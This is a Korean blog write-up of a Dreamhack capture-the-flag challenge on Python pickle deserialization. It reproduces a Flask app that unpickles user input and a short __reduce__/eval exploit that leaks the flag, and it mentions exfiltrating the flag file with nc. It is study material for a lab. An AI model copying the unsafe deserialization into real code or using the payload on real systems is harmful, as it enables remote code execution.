본문 바로가기

Web Hacking/Dreamhack

[Dreamhack] web-deserialize-python write up

 

코드를 보면 몇줄 안된다.

 

#!/usr/bin/env python3
from flask import Flask, request, render_template, redirect
import os, pickle, base64

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
    FLAG = '[**FLAG**]'

INFO = ['name', 'userid', 'password']

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
    if request.method == 'GET':
        return render_template('create_session.html')
    elif request.method == 'POST':
        info = {}
        for _ in INFO:
            info[_] = request.form.get(_, '')
        data = base64.b64encode(pickle.dumps(info)).decode('utf8')
        return render_template('create_session.html', data=data)

@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
    if request.method == 'GET':
        return render_template('check_session.html')
    elif request.method == 'POST':
        session = request.form.get('session', '')
        info = pickle.loads(base64.b64decode(session))
        return render_template('check_session.html', info=info)

app.run(host='0.0.0.0', port=8000)

 

python pickle에 대해 찾아 보니 역직렬화 과정에서 RCE가 가능한 취약점이 있다. pickle이 dumps를 할때 __reduce__함수를 통해 객체를 어떻게 저장하고 복원할지를 결정한다. 근데 이 때 __reduce__는 우리가 재정의가 가능하다.

 

__reduce__의 사용법을 보면

 

 

인자는 안 받고 오직 return 값만 있다. 이때 반환값은 튜플이어야 하며, 튜플에서 첫 번째 인자값은 객체의 초기 상태를 결정할 클래스, 두 번째 인자는 해당 클래스에 대한 파라미터들 이다.(이 또한 튜플로 넘겨야한다.) 

 

pickle은 객체를 복원(loads)할 때 __reduce__함수의 리턴 값들을 사용한다 (지씨 말로는 리턴값의 생성자를 호출하여 객체를 복원한다고 한다. 때문에 eval함수 쓰면 그대로 값이 반환되는 듯 싶다.). 이때 임의 코드가 실행이 되는 것이다. 

 

FLAG를 가져오는 방법은 크게 두 가지가 있다.

 

1. RCE를 통해 nc나 다른 명령어를 이용하여 내 서버에 flag.txt를 전달한다.

 

2. 객체 역직렬화 시 FLAG 변수가 웹에 포함되도록 한다. 

 

2번을 이용한 풀이👇

 

import pickle
import base64

class Exploit():
	def __reduce__(self):
		return (__builtins__.eval, ("{'name': FLAG}", ))
				
print(base64.b64encode(pickle.dumps(Exploit())).decode('utf8'))

 

위 코드를 실행시켜 나온 base64 인코딩된 값을 전달한다.

 

 

이 문제를 통해 python의 class 사용법, 내장 class 종류 등등에 익숙해지게 된 것 같다. 좋은 문제다!

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] baby-sqlite write up  (0) 2024.04.22
[Dreamhack] chocoshop write up  (2) 2024.04.20
[Dreamhack] login-1 write up  (0) 2024.04.14
[Dreamhack] what-is-my-ip write up  (1) 2024.04.13
[Dreamhack] out of money write up  (0) 2024.04.12